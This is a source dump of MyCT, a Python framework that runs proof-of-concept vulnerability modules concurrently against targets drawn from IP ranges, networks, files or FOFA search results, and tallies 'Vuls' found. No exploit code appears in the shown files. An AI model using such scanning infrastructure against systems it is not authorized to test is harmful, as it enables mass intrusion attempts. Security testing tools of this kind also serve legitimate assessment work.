13 | from lib.core.data import conf,logger,runtime,prepare
14 | from lib.core.static import CUSTOM_LOGGING,ENGINE_MODE,RETURN_STATUS
15 | from lib.core.common import threadLock,printToStdout,callStack
16 | from thirdparty.terminal import get_terminal_size
17 |
18 | # 并发引擎初始化,各种变量生成与赋值
19 | def initCoreEngine(initFunc):
20 | runtime['startTime']= time.time() # 初始化引擎的时间
21 | logger.log(CUSTOM_LOGGING.INFO,'Start to initialize the module [%s] engine configuration ...'%prepare['nowModuleName'])
22 | initFunc() # 执行不同类型引擎所专用的初始化方法
23 | runtime['engineMode'] = conf['ENGINE'] # 引擎的类型
24 | runtime['concurrentNum'] = conf['CONCURRENT_NUM'] # 并发数
25 | runtime['c2ClassObj'] = prepare['nowc2Class']() # 当前并发类对象
26 | runtime['c2Func'] = getattr(runtime['c2ClassObj'],'c2Func') # 当前并发方法对象
27 | runtime['moduleName'] = prepare['nowModuleName'] # 并发模块名
28 | runtime['concurrentCount'] = runtime['concurrentNum'] # 当前可并发数量,也就是当前允许运行的scan方法的数量
29 | runtime['scannedCount'] = 0 # 已扫描的目标的数量
30 | runtime['foundCount'] = 0 # 已发现的目标的数量(c2Func方法返回1或10)
31 | runtime['handleIsError'] = False # 运行scan方法中是否发生了异常
32 | runtime['isContinue'] = True # 并发引擎继续运行标志
33 | runtime['terminal_width'] = get_terminal_size()[0]-2 # 当前命令行终端的宽度 (-2:因为需要容纳控制字符\n\r)
34 | runtime['allTarget'] = Queue.PriorityQueue() # 需要处理的目标队列
35 | runtime['allTarget'].queue.extend(prepare['allTarget']) # 导入预备数据中目标列表
36 | runtime['debug'] = conf['DEBUG_MODE'] # 设置debug模式
37 |
38 | runtime['nowWait'] = [1 for i in range(runtime['concurrentNum'])] # 当下处于等待目标状态的所有scan方法的cid之和
39 | runtime['allWait'] = [0 for i in range(runtime['concurrentNum'])] # 全部处于等待目标状态的所有scan方法的cid之和
40 |
41 | logger.log(CUSTOM_LOGGING.SUCCESS,'Successfully initialized the module [%s] engine configuration'%prepare['nowModuleName'])
42 |
43 | # 扫描函数
44 | def scan(resultHandle,cid):
45 | # print(cid)
46 | c2Func = runtime['c2Func']
47 | # 循环获得目标并处理
48 | while runtime['nowWait'] != runtime['allWait'] or runtime['allTarget'].qsize()>0: # 并没有全部scan方法都在等待
49 | if runtime['isContinue'] == False:
50 | break
51 | # 获得具体攻击目标
52 | tgt = getTarget(cid)
53 | if tgt == None:
54 | time.sleep(1) # 此处休眠主要是用来快速退出的,当并发数较大时,每个方法都会在getTarget时设
55 | # 置对应的等待位,只有全部方法等待位都设置了才会使得方法退出,如果不进行休眠而是直接continue,
56 | # 则所有方法必须等待 并发数*runCoreEngine中while循环中的休眠时间0.01 之后,才会
57 | # 使得runtime['nowWait'] == runtime['allWait'],从而全部退出
58 | continue
59 | try:
60 | # 开始运行c2Func函数,如果c2Func函数内有异常未处理从而在这里被捕捉,则程序将会停止运行
61 | status,returnData = c2Func(target=tgt) # 结果状态,返回数据(一般用来存储运行结果)
62 | resultHandle(tgt,status,returnData) # 执行不同类型引擎所专用的结果处理方法
63 | if status == RETURN_STATUS.SUCCESS or status == RETURN_STATUS.MORETRY:
64 | modifyFoundCount() # 增加已出现数
65 | except func_timeout.exceptions.FunctionTimedOut as e: # 在c2Class文件中 导入模块func_timeout,并在对应函数前使用装饰器 @func_timeout.func_set_timeout(3) 可以限制对应函数运行时间为3秒
66 | pass
67 | except Exception as e:
68 | runtime['handleIsError'] = True
69 | runtime['errMsg'] = traceback.format_exc() # 获得异常回溯信息
70 | runtime['isContinue'] = False
71 |
72 | modifyScannedCount() # 增加已扫描数
73 | printEngineState() # 打印引擎状态
74 |
75 | # 运行到这里,说明getTarget()的结果为None,即处理目标队列为空
76 | modifyConcurrentCount() # 增加已扫描数
77 | printEngineState()
78 |
79 | # 运行引擎,并发运行scan方法
80 | @callStack
81 | def runCoreEngine(resultHandle,endFunc):
82 | logger.log(CUSTOM_LOGGING.INFO,'Start concurrency of c2Func of the module: [%s]'%runtime['moduleName'])
83 | # 线程模式下
84 | if runtime['engineMode'] == ENGINE_MODE.THREAD:
85 | # 生成扫描线程集
86 | threads=[threading.Thread(target=scan,args=(resultHandle,i),name=str(i)) for i in range(runtime['concurrentNum'])]
87 | # 扫描线程集的线程中依次执行setDaemon(True)-设置主线程为子线程的守护线程、start()
88 | for i in range(runtime['concurrentNum']):
89 | t=threading.Thread(target=scan,args=(resultHandle,i),name=str(i))
90 | t.setDaemon(True)
91 | t.start()
92 | # 上行代码等于以下代码(仅适用于py2,py3更新了map方法)
93 | # map(lambda t:t.setDaemon(True)==t.start(),threads) # ==的意义:使得该匿名函数可以依次运行t.setDaemon(True)与t.start()
94 |
95 | # 该while循环的作用:
96 | # 使得主线程在除了 情况1)扫描线程集内的线程全部停止(无scan运行) 或者 情况2)未全部停止,而引擎继续运行标志为假
97 | # 的情况下,持续等待(time.sleep)
98 | # 持续等待的原因是:
99 | # 保持主线程的一直存活(不会一下就运行到结束)
100 | # 如果用户在主线程等待期间按下ctrl+c,则主线程报出KeyboardInterrupt异常,直接跳回lib\cli.py进行退出,
101 | # 又由于线程集的守护线程设置为主线程(t.setDaemon(True)),则所有线程也会陆续退出
102 | # Q:既然是让主线程等待,为什么不使用t.join?
103 | # A:因为t.join后,当用户想通过ctrl+c主动停止程序运行时,效果很差(多线程运行下,每个线程都占用了一定时间,基本无法立刻停止)
104 | while 1:
105 | if runtime['concurrentCount'] > 0 and runtime['isContinue'] == True:
106 | time.sleep(0.01)
107 | else:
108 | break
109 | # 协程模式下
110 | elif runtime['engineMode'] == ENGINE_MODE.GEVENT:
111 | import gevent
112 | from gevent import monkey # gevent需要修改python自带的一些标准库,以达到IO阻塞时可以切换协程运行的目的,这一过程通过monkey patch完成
113 | monkey.patch_all()
114 | while runtime['allTarget'].qsize() > 0 and runtime['isContinue'] == True:
115 | gls=[] # gevent-lists 协程集
116 | for i in range(runtime['concurrentNum']): # 在并发数内
117 | if runtime['allTarget'].qsize() > 0:
118 | gls.append(gevent.spawn(scan,resultHandle,i)) # 执行协程
119 | else:
120 | break
121 | gevent.joinall(greenlets=gls) # 直到全部协程运行结束
122 | # 以上代码也可以使用以下代码替换
123 | # while runtime['allTarget'].qsize()>0 and runtime['isContinue'] ==True:
124 | # gevent.joinall(greenlets=[gevent.spawn(scan,resultHandle,i) for i in range(runtime['concurrentNum']) if runtime['allTarget'].qsize()>0])
125 | printToStdout('\n')
126 | # 进行错误信息输出
127 | if 'errMsg' in runtime.keys(): # 如果runtime设置了errMsg键
128 | # logger.error('111111111111111111111111111111111111111111111111111111111111111111')
129 | logger.error(runtime['errMsg'])
130 | endFunc() # 执行不同类型引擎所专用的结束方法
131 | logger.log(CUSTOM_LOGGING.SUCCESS,'Complete concurrency of c2Func of the module: [%s]'%runtime['moduleName'])
132 |
133 |
134 | # 获得攻击目标
135 | @threadLock(lock=threading.Lock())
136 | def getTarget(cid,timeout=0):
137 | # try:
138 | # return runtime['allTarget'].get(timeout=timeout)
139 | # except Queue.Empty as e:
140 | # return None
141 | # except Exception as e:
142 | # return None
143 | try:
144 | _t=runtime['allTarget'].get(timeout=timeout)
145 | # runtime['nowWait'].discard(cid)
146 | runtime['nowWait'][cid]=1
147 | return _t
148 | except Queue.Empty as e:
149 | pass
150 | except Exception as e:
151 | pass
152 | runtime['nowWait'][cid]=0
153 | # runtime['nowWait'].add(cid)
154 | return None
155 |
156 | # 修改并发数
157 | @threadLock(lock=threading.Lock())
158 | def modifyConcurrentCount(num=-1):
159 | runtime['concurrentCount'] += num
160 |
161 | # 修改已扫描的目标数
162 | @threadLock(lock=threading.Lock())
163 | def modifyScannedCount(num=1):
164 | runtime['scannedCount'] += num
165 |
166 | # 修改已发现的目标数
167 | @threadLock(lock=threading.Lock())
168 | def modifyFoundCount(num=1):
169 | runtime['foundCount'] += num
170 |
171 | # 打印引擎状态
172 | def printEngineState():
173 | # 打印当前引擎的 已发现目标数、剩余目标数、已扫描目标数、耗时
174 | eMsg = '%s found | %s remaining | %s scanned | %.2f/s rate in %.2f seconds' % (
175 | runtime['foundCount'],runtime['allTarget'].qsize(),runtime['scannedCount'],runtime['scannedCount']/(time.time()-runtime['startTime']),
176 | time.time()-runtime['startTime'])
177 | out ='\r'+' '*(runtime['terminal_width']-len(eMsg))+eMsg
178 | printToStdout(out)
179 | # printToStdout('\r') # 经过调试发现,输出\r 使得debug模式下,可以更加整齐的显示信息.PS:20200825 测试发现,加不加没什么影响
--------------------------------------------------------------------------------
/lib/controller/engine.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | from lib.core.data import conf,runtime
3 | from lib.controller.pocengine import Engine as pocEngine
4 | from lib.controller.preengine import Engine as preEngine
5 |
6 | # 启动并发引擎
7 | def run():
8 | if conf['PRE_TREAT']:
9 | preEngine() # 启动针对预处理模块的并发引擎
10 | runtime=[] # 重置运行时的数据
11 | pocEngine() # 启动针对处理模块的并发引擎
--------------------------------------------------------------------------------
/lib/controller/pocengine.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import threading
3 | import codecs
4 | from lib.core.data import conf,logger,runtime,prepare
5 | from lib.controller.coreengine import initCoreEngine,runCoreEngine
6 | from lib.core.static import OUTPUT_MODE,MODULE_TYPE,RETURN_STATUS
7 | from lib.core.setting import CLASSNAME,FUNCNAME
8 | from lib.core.common import threadLock,printMessage
9 | # 兼容python3
10 | import sys
11 | if sys.version[0]=='3':
12 | from functools import reduce
13 |
14 | # 对需要重新加入目标队列的数据 进行处理
15 | @threadLock(lock=threading.Lock())
16 | def retryHandle(retryInfo):
17 | if isinstance(retryInfo, str):
18 | runtime['allTarget'].put(retryInfo)
19 | elif isinstance(retryInfo, list):
20 | runtime['allTarget'].queue.extend(retryInfo)
21 | else:
22 | runtime['allTarget'].put(retryInfo)
23 |
24 | # 对失败数据 进行处理
25 | def failHandle(failInfo):
26 | pass
27 |
28 | # 对需要成功的数据 进行处理
29 | @threadLock(lock=threading.Lock())
30 | def successHandle(tgt,successInfo):
31 | runtime['allSuccess']+=1
32 | try:
33 | if isinstance(successInfo, str):
34 | pass
35 | elif isinstance(successInfo, list): # 列表则拼接为字符串
36 | successInfo = reduce(lambda x,y:str(x)+','+str(y),successInfo)
37 | else:
38 | uccessInfo=str(successInfo)
39 | except Exception as e:
40 | successInfo='The target [%s] detection result was successful, but an exception occurred when outputting more information.'%str(tgt)
41 | logger.debug(successInfo)
42 | stdMsg = "[!] %s"%successInfo
43 | printMessage(stdMsg,'red',True) # 输出成功数据到命令行
44 | if runtime['outputMode'] == OUTPUT_MODE.ALL:
45 | fileMsg = "%-20s %s"%('['+str(tgt)+']',successInfo)
46 | write2File(fileMsg) # 输出成功数据到文件
47 | if runtime['singleMode']: # 如果是单结果模式
48 | runtime['isContinue'] = False # 设置停止运行标识
49 | printMessage('[single-mode] found!','red',True) # 打印提示
50 |
51 | # 专用的结果处理方法
52 | def resultHandle(tgt,status,returnData):
53 | if status == RETURN_STATUS.RETRY:
54 | retryHandle(returnData)
55 | elif status == RETURN_STATUS.SUCCESS:
56 | successHandle(tgt,returnData)
57 | elif status == RETURN_STATUS.MORETRY:
58 | _success,_retry = returnData
59 | successHandle(tgt,_success)
60 | retryHandle(_retry)
61 | elif status == RETURN_STATUS.FAIL:
62 | failHandle(returnData)
63 |
64 | # 写入到文件
65 | @threadLock(lock=threading.Lock())
66 | def write2File(msg):
67 | try:
68 | with codecs.open(runtime['outputFilePath'],'a','utf-8') as f:
69 | f.write(msg+'\n')
70 | except UnicodeDecodeError as e: # 如果出现unicode解码异常,则使用py默认读写
71 | with open(runtime['outputFilePath'],'a') as f:
72 | f.write(msg+'\n')
73 |
74 | # 专用的结束方法
75 | def endFunc():
76 | pass
77 |
78 | def initFunc():
79 | runtime['allSuccess'] =0 # 测试成功数
80 | runtime['singleMode'] = conf['SINGLE_MODE'] # 单结果模式
81 | runtime['outputMode'] = conf['OUTPUT_MODE'] # 输出方式
82 | if runtime['outputMode'] == OUTPUT_MODE.ALL:
83 | runtime['outputFilePath'] = conf['OUTPUT_FILE_PATH'] # 输出文件路径
84 |
85 | def Engine():
86 | # 遍历预处理模块
87 | for mData in prepare[MODULE_TYPE.POC]:
88 | prepare['nowc2Class'] = mData['class'] # 当前执行的处理模块的类对象
89 | prepare['nowModuleName'] = mData['name'] # 当前执行的处理模块名
90 |
91 | logger.info('The current concurrent module of the engine: [%s]'%prepare['nowModuleName'])
92 |
93 | initCoreEngine(initFunc)
94 | runCoreEngine(resultHandle,endFunc)
95 |
96 | logger.info('Find [%s] Vuls : [%d]'%(prepare['nowModuleName'],runtime['allSuccess']))
--------------------------------------------------------------------------------
/lib/controller/preengine.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import threading
3 | from lib.core.data import logger,runtime,prepare
4 | from lib.controller.coreengine import initCoreEngine,runCoreEngine
5 | from lib.core.static import MODULE_TYPE,RETURN_STATUS
6 | from lib.core.setting import CLASSNAME,FUNCNAME
7 | from lib.core.common import threadLock,printMessage
8 |
9 |
10 | # 对需要重新加入目标队列的数据 进行处理
11 | @threadLock(lock=threading.Lock())
12 | def retryHandle(retryInfo):
13 | if isinstance(retryInfo, str):
14 | runtime['allTarget'].put(retryInfo)
15 | elif isinstance(retryInfo, list):
16 | runtime['allTarget'].queue.extend(retryInfo)
17 | else:
18 | runtime['allTarget'].put(retryInfo)
19 |
20 | # 对失败数据 进行处理
21 | def failHandle(failInfo):
22 | pass
23 |
24 | # 对成功的数据 进行处理
25 | @threadLock(lock=threading.Lock())
26 | def successHandle(tgt,successInfo):
27 | try:
28 | if isinstance(successInfo, str):
29 | runtime['allResult'].add(successInfo) # 加操作
30 | elif isinstance(successInfo, list):
31 | successInfo=list(map(str,successInfo)) # map函数的返回结果在py2下是list,而在py3下是map,所以这里直接再套个list
32 | runtime['allResult'].update(set(successInfo)) # 并操作
33 | else:
34 | successInfo=str(successInfo)
35 | runtime['allResult'].add(successInfo)
36 | except Exception as e:
37 | logger.debug('The target [%s] detection result was successful, but an exception occurred when more information about the target was converted to string type.'%tgt)
38 | return 0
39 | if runtime['showMode']:
40 | infoMsg = "%-20s %s"%('['+str(tgt)+']',successInfo)
41 | printMessage(infoMsg)
42 |
43 | # 专用的结果处理方法
44 | def resultHandle(tgt,status,returnData):
45 | if status == RETURN_STATUS.RETRY:
46 | retryHandle(returnData)
47 | elif status == RETURN_STATUS.SUCCESS:
48 | successHandle(tgt,returnData)
49 | elif status == RETURN_STATUS.MORETRY:
50 | _success,_retry = returnData
51 | retryHandle(_retry)
52 | successHandle(tgt,_success)
53 | elif status == RETURN_STATUS.FAIL:
54 | failHandle(returnData)
55 |
56 | # 专用的结束方法
57 | def endFunc():
58 | # 将引擎的结果集导入到汇总集中
59 | summary.update(runtime['allResult'])
60 |
61 | # 专用的初始化方法
62 | def initFunc():
63 | runtime['allResult'] = set() # 定义 结果集合
64 | runtime['showMode'] = True # 是否显示成功结果
65 |
66 | # 预处理模块的并发引擎
67 | def Engine():
68 | global summary # 用于汇总所有预处理模块的运行结果
69 | summary =set()
70 |
71 | # 遍历预处理模块
72 | for mData in prepare[MODULE_TYPE.PRE]:
73 | prepare['nowc2Class'] = mData['class'] # 当前执行的处理模块的类对象
74 | prepare['nowModuleName'] = mData['name'] # 当前执行的处理模块名
75 |
76 | logger.info('The current concurrent module of the engine: [%s]'%prepare['nowModuleName'])
77 |
78 | initCoreEngine(initFunc)
79 | runCoreEngine(resultHandle,endFunc)
80 | # 所有的预处理模块都运行并发处理完毕了,将汇总的数据导入处理模块将要使用的预备目标集中
81 | l=len(summary)
82 | logger.info('Find target : [%d]'%l)
83 | prepare['allTarget'] = summary
84 |
--------------------------------------------------------------------------------
/lib/core/__init__.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
--------------------------------------------------------------------------------
/lib/core/common.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 |
3 | import threading
4 | import os
5 | import re
6 | import sys
7 | import logging
8 | from lib.core.data import paths,conf,logger,runtime,args
9 | from lib.core.static import CUSTOM_LOGGING,ENGINE_MODE
10 | from lib.core.log import cmd_hd
11 | from lib.core.setting import IS_WIN,RELATIVE_PATH,BANNER,ISCALLGRAPH
12 | from thirdparty.colorama.initialise import init as winColorInit
13 | from thirdparty.termcolor import colored
14 | from thirdparty.utils import traceFunc
15 |
16 |
17 | # Set various paths of MyCT
18 | def setPaths():
19 | # Set path
20 | root_path=fileUpN(os.path.realpath(__file__),3)
21 | paths['ROOT_PATH']=root_path
22 | paths['POCMODULE_PATH']=os.path.join(root_path,RELATIVE_PATH['POCMODULE'])
23 | paths['PREMODULE_PATH']=os.path.join(root_path,RELATIVE_PATH['PREMODULE'])
24 | paths['OUTPUT_PATH']=os.path.join(root_path,RELATIVE_PATH['OUTPUT'])
25 | paths['DATA_PATH']=os.path.join(root_path,RELATIVE_PATH['DATA'])
26 | # If there is no corresponding directory, generate
27 | if not os.path.exists(paths['POCMODULE_PATH']):
28 | os.mkdir(paths['POCMODULE_PATH'])
29 | if not os.path.exists(paths['OUTPUT_PATH']):
30 | os.mkdir(paths['OUTPUT_PATH'])
31 | if not os.path.exists(paths['DATA_PATH']):
32 | os.mkdir(paths['DATA_PATH'])
33 | if not os.path.exists(paths['PREMODULE_PATH']):
34 | os.mkdir(paths['PREMODULE_PATH'])
35 |
36 | logger.log(CUSTOM_LOGGING.SUCCESS,'Set the program path successfully')
37 |
38 | # 返回文件fn向上n层的目录
39 | def fileUpN(fn,n=1):
40 | while n >0:
41 | d=os.path.dirname(fn)
42 | n-=1
43 | fn=d
44 | return d
45 |
46 | # If MyCT is running under windows, perform the initialization of the 'colorama' library, so that the windows console supports ANSI escape sequences-that is, colorful sequences
47 | def initWinStdout():
48 | if IS_WIN:
49 | winColorInit()
50 | logger.log(CUSTOM_LOGGING.SUCCESS,'Initialize color output completed')
51 |
52 | # Print banner information
53 | def printBanner():
54 | _=BANNER
55 | if not getattr(cmd_hd,'is_tty',False): # 如果cmd_hd没有is_tty标识(终端标识),则删除BANNER中的ANSI转义序列再打印
56 | _=re.sub(r"\033.+?m","",_)
57 | print(_)
58 |
59 | # 调用方:MyCT\lib\core\config.py
60 | # 返回列表中value相关的信息:数量,以及符合flag对应的对比函数的元素的最后位置
61 | # flag可以为:0,1,2,3。其中,0代表小于 1代表等于 2代表大于 3代表不等于
62 | def ValueInfoInList(l,value,flag=1):
63 | def _lt(a,b): # less than
64 | return ab
69 | def _ne(a,b): # not equal to
70 | return a!=b
71 | funcList=[_lt,_eq,_gt,_ne]
72 | compare=funcList[flag] # 根据flag选择对比函数
73 | num=0
74 | index=-1
75 | for i in range(len(l)):
76 | if compare(l[i],value):
77 | index=i
78 | num+=1
79 | return (num,index)
80 |
81 | # Returns a generator that generates int numbers between 'start' and 'end'
82 | def intRange(start,end):
83 | if start > end:
84 | errMsg="The starting number needs < the ending, but %s > %s"%(start,end)
85 | raise ValueError(errMsg)
86 | while start <= end:
87 | yield start
88 | start+=1
89 |
90 | # 装饰器函数,使得每次线程模式下,能在锁保护下去操作全局变量
91 | def threadLock(lock):
92 | def middle(func):
93 | def wrapper(*args,**kwargs):
94 | if runtime['engineMode']==ENGINE_MODE.THREAD:
95 | lock.acquire()
96 | result=func(*args,**kwargs)
97 | if runtime['engineMode']==ENGINE_MODE.THREAD:
98 | lock.release()
99 | return result
100 | return wrapper
101 | return middle
102 |
103 |
104 | # 装饰器函数,生成装饰函数的函数调用图
105 | def callGraph(func):
106 | flag=0
107 | try:
108 | from pycallgraph import PyCallGraph
109 | from pycallgraph.output import GraphvizOutput
110 | from pycallgraph import Config
111 | from pycallgraph import GlobbingFilter
112 | flag=1
113 | except Exception as e:
114 | pass
115 | def callgraphwrapper(*args,**kwargs):
116 | if flag==1 and ISCALLGRAPH:
117 | config = Config()
118 | config.trace_filter = GlobbingFilter(exclude=[
119 | 'thirdparty.*'
120 | ])
121 | graphviz = GraphvizOutput()
122 | graphviz.output_file = 'docx/callGraph.png'
123 |
124 | with PyCallGraph(output=graphviz,config=config):
125 | result=func(*args,**kwargs)
126 | else:
127 | result=func(*args,**kwargs)
128 | return result
129 | return callgraphwrapper
130 |
131 | # 装饰器函数,调试模式下会弹出装饰函数的调用堆栈图
132 | def callStack(func):
133 | def callstackwrapper(*args,**kwargs):
134 | if runtime['debug']==True and ISCALLGRAPH:
135 | traceFunc()
136 | result=func(*args,**kwargs)
137 | return result
138 | return callstackwrapper
139 |
140 | # MyCT专属print函数,避免线程模式下logging与标准输出形成死锁
141 | def printToStdout(data,color=None,on_color=None,bold=False):
142 | if bold:
143 | msg= colored(text=data, color=color, on_color=on_color, attrs=['bold'])
144 | else:
145 | msg= colored(text=data, color=color, on_color=on_color,attrs=None)
146 | if runtime['engineMode']==ENGINE_MODE.THREAD:
147 | logging._acquireLock()
148 | sys.stdout.write(msg)
149 | sys.stdout.flush()
150 | if runtime['engineMode']==ENGINE_MODE.THREAD:
151 | logging._releaseLock()
152 |
153 | # 打印信息,针对输出信息的printToStdout
154 | def printMessage(msg,color=None,bold=False,direction=1):
155 | if direction==1:
156 | # 向左对齐
157 | printToStdout('\r'+msg+' '*(runtime['terminal_width']-len(msg)) +'\n\r',color=color,bold=bold)
158 | else:# 向右对齐
159 | printToStdout('\r'+' '*(runtime['terminal_width']-len(msg)) +msg+'\n\r',color=color,bold=bold)
--------------------------------------------------------------------------------
/lib/core/config.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import os
3 | import sys
4 | import time
5 | from lib.core.common import ValueInfoInList
6 | from lib.core.data import paths,conf,logger
7 | from lib.core.log import DEBUG,LOGGER
8 | from lib.core.static import ENGINE_MODE,CUSTOM_LOGGING,TARGET_TYPE,OUTPUT_MODE
9 |
10 |
11 | # 初始化程序配置
12 | def initConfig(args):
13 | checkShow(args) # 展示模块
14 | engineRegister(args) # 并发引擎注册
15 | moduleRegister(args) # 并发模块注册
16 | targetRegister(args) # 输入目标注册
17 | outputRegister(args) # 输出对象注册
18 | misc(args) # 杂项
19 | logger.log(CUSTOM_LOGGING.SUCCESS,'Initial configuration completed')
20 |
21 | def checkShow(args):
22 | if args.show_modules:
23 | pocmodulePaths=[] # 处理模块路径集
24 | premodulePaths=[] # 预处理模块路径集
25 | # os.walk() 方法用于通过在目录树中游走,输出在目录中的根路径、文件夹的相对路径、文件的相对路径
26 | for root,dirs,files in os.walk(paths['POCMODULE_PATH']):
27 | for name in files:
28 | _modulepath=os.path.join(root, name)
29 | if _modulepath.lower().endswith('py'):
30 | pocmodulePaths.append(_modulepath)
31 | for root,dirs,files in os.walk(paths['PREMODULE_PATH']):
32 | for name in files:
33 | _modulepath=os.path.join(root, name)
34 | if _modulepath.lower().endswith('py'):
35 | premodulePaths.append(_modulepath)
36 | pocmoduleNum=len(pocmodulePaths)
37 | premoduleNum=len(premodulePaths)
38 | pocMsg=''
39 | preMsg=''
40 | for _str in pocmodulePaths:
41 | _str=_str.split(paths['POCMODULE_PATH'])[1][1:]
42 | moduleName=os.path.splitext(_str)[0]
43 | if moduleName == '__init__': # 初始化脚本,不计入模块中
44 | pocmoduleNum-=1
45 | else:
46 | pocMsg+=' %s\n'%moduleName
47 | for _str in premodulePaths:
48 | _str=_str.split(paths['PREMODULE_PATH'])[1][1:]
49 | moduleName=os.path.splitext(_str)[0]
50 | if moduleName == '__init__':
51 | premoduleNum-=1
52 | else:
53 | preMsg+=' %s\n'%moduleName
54 | pocMsg='Poc Module Name (total:%s)\n' % str(pocmoduleNum)+pocMsg
55 | preMsg='Pre Module Name (total:%s)\n' % str(premoduleNum)+preMsg
56 | logger.info(preMsg)
57 | logger.info(pocMsg)
58 | sys.exit(0)
59 |
60 | def engineRegister(args):
61 | checkList= [args.engine_gevent,args.engine_thread]
62 | seted,index = ValueInfoInList(checkList,True)
63 | if seted <= 1: # seted=1说明设置eT或eG seted=0说明未设置,则默认eT
64 | conf['ENGINE'] = ENGINE_MODE.GEVENT if index == 0 else ENGINE_MODE.THREAD
65 | conf['CONCURRENT_NUM'] = args.concurrent_number
66 | else:
67 | msg='Too many options in [-eT|-eG]'
68 | sys.exit(logger.error(msg))
69 |
70 | def moduleRegister(args):
71 | # 在parser\handler.py中已经对module文件的真实存在性进行了检验
72 | # 所以现在只需要对conf中的POCMODULE_NUM、POCMODULES、PREMODULE_NUM、PREMODULES进行赋值
73 | if args.pocmodule_path != None:
74 | conf['POCMODULE_NUM'] = len(args.pocmodule_path)
75 | conf['POCMODULES'] = []
76 | for _modulePath in args.pocmodule_path:
77 | mInfo={}
78 | mInfo['fullPath'] = _modulePath # 模块路径
79 | mInfo['name'] = _modulePath[len(paths['POCMODULE_PATH'])+1:-3] # 模块名,更为清晰
80 | # mInfo['name'] = os.path.split(_modulePath)[1][:-3] # 模块名
81 | conf['POCMODULES'].append(mInfo)
82 | else:
83 | msg='Too few options in [-m]'
84 | sys.exit(logger.error(msg))
85 | if args.premodule_path != None:
86 | conf['PRE_TREAT'] = True
87 | conf['PREMODULE_NUM'] = len(args.premodule_path)
88 | conf['PREMODULES']=[]
89 | for _modulePath in args.premodule_path:
90 | mInfo={}
91 | mInfo['fullPath'] = _modulePath # 模块路径
92 | mInfo['name'] = _modulePath[len(paths['PREMODULE_PATH']):-3].replace('\\','/') # 模块名,更为清晰
93 | mInfo['name'] = os.path.split(_modulePath)[1][:-3] # 模块名
94 | conf['PREMODULES'].append(mInfo)
95 | else:
96 | conf['PRE_TREAT'] = False
97 |
98 | def targetRegister(args):
99 | def _single():
100 | conf['TARGET_TYPE'] = TARGET_TYPE.SINGLE
101 | conf['TARGET'] = args.target_single
102 | def _file():
103 | conf['TARGET_TYPE'] = TARGET_TYPE.FILE
104 | conf['TARGET']=args.target_file
105 | def _network():
106 | conf['TARGET_TYPE'] = TARGET_TYPE.NETWORK
107 | conf['TARGET'] = args.target_network
108 | def _iprange():
109 | conf['TARGET_TYPE'] = TARGET_TYPE.IPRANGE
110 | conf['TARGET'] = args.target_iprange
111 | def _fofa():
112 | conf['TARGET_TYPE'] = TARGET_TYPE.FOFA
113 | conf['TARGET'] = args.target_fofa
114 | _fun=[_single,_file,_network,_iprange,_fofa] # 函数列表
115 | checkList=[args.target_single,args.target_file,args.target_network,args.target_iprange,args.target_fofa]
116 | # _fun中的元素顺序与checkList的元素顺序都是相关联的,一一对应的
117 | seted,index=ValueInfoInList(checkList,None,3)
118 | if seted == 1: # 设置了一个值
119 | _fun[index]()
120 | elif seted > 1: # 设置了多个值
121 | msg='Too more options in [-iS|iF|-iN|-iR|-qF]'
122 | sys.exit(logger.error(msg))
123 | else: # 未设置值
124 | msg='Too few options in [-iS|iF|-iN|-iR|-qF]. Please use [-iS|iF|-iN|-iR|-qF] to set your target'
125 | sys.exit(logger.error(msg))
126 |
127 | def outputRegister(args):
128 | if args.output_file != None: # 如果输出文件名不为None,说明用户已经设置了-o参数
129 | conf['OUTPUT_MODE'] = OUTPUT_MODE.ALL # 全输出(即输出屏幕,又输出文件)
130 | conf['OUTPUT_FILE'] = args.output_file
131 | if conf['OUTPUT_FILE'].startswith('default_['): # 如果是MyCT默认生成的输出文件,需要填入模块名
132 | conf['OUTPUT_FILE_PATH'] = os.path.join(
133 | paths['OUTPUT_PATH'],conf['OUTPUT_FILE']%(conf['TARGET'].replace('/','')))
134 | else:
135 | conf['OUTPUT_FILE_PATH'] = os.path.join(
136 | paths['OUTPUT_PATH'],conf['OUTPUT_FILE'])
137 |
138 | open(conf['OUTPUT_FILE_PATH'],mode='w').close()
139 | else:
140 | conf['OUTPUT_MODE']=OUTPUT_MODE.SCREEN
141 |
142 | def misc(args):
143 | conf['DEBUG_MODE']=args.debug_mode
144 | conf['SINGLE_MODE']=args.single_mode
145 |
146 | # args的变量如下:
147 | # engine_thread 线程引擎标志
148 | # engine_gevent 协程引擎标志
149 | # concurrent_number 并发数
150 | # pocmodule_name 处理模块的路径列表
151 | # premodule_name 预处理模块的路径列表
152 | # target_single 简单目标
153 | # target_file 目标文件
154 | # target_network 目标网络
155 | # target_iprange 目标ip区间
156 | # output_file 输出文件名
157 | # output_file_status 禁止输出文件标志
158 | # single_mode 简单模式
159 | # debug_mode 调试模式
160 | # show_modules 展示攻击模块标识
161 |
162 | # conf中的键如下:
163 | # ENGINE:引擎类型
164 | # CONCURRENT_NUM:并发数
165 | # POCMODULE_NUM:处理模块数
166 | # POCMODULES:处理模块信息列表
167 | # PRE_TREAT:是否需要预处理
168 | # PREMODULE_NUM:预处理模块数
169 | # PREMODULES:预处理模块信息列表
170 | # TARGET_TYPE:并发目标类型
171 | # TARGET:并发目标集合
172 | # OUTPUT_MODE:输出模式
173 | # OUTPUT_FILE:输出文件名
174 | # OUTPUT_FILE_PATH:结果输出文件路径
175 | # DEBUG_MODE:调试模式
176 | # SINGLE_MODE:简单模式
--------------------------------------------------------------------------------
/lib/core/data.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | from lib.core.log import LOGGER
3 |
4 | # https://blog.csdn.net/codingwithme/article/details/41675679
5 | # 日志记录器
6 | logger=LOGGER
7 |
8 | # 命令行参数
9 | args=None
10 |
11 | paths={}
12 | # 程序路径
13 | # ROOT_PATH 程序根路径
14 | # POCMODULE_PATH 处理模块路径
15 | # PREMODULE_PATH 预处理模块路径
16 | # OUTPUT_PATH 默认输出路径
17 | # DATA_PATH 数据路径
18 | # 定义于lib\core\common.py的setPaths方法中
19 |
20 | conf={}
21 | # 程序配置
22 | # ENGINE 引擎类型
23 | # CONCURRENT_NUM 并发数
24 | # POCMODULE_NUM 处理模块数
25 | # POCMODULES 处理模块信息列表
26 | # PRE_TREAT 是否需要预处理
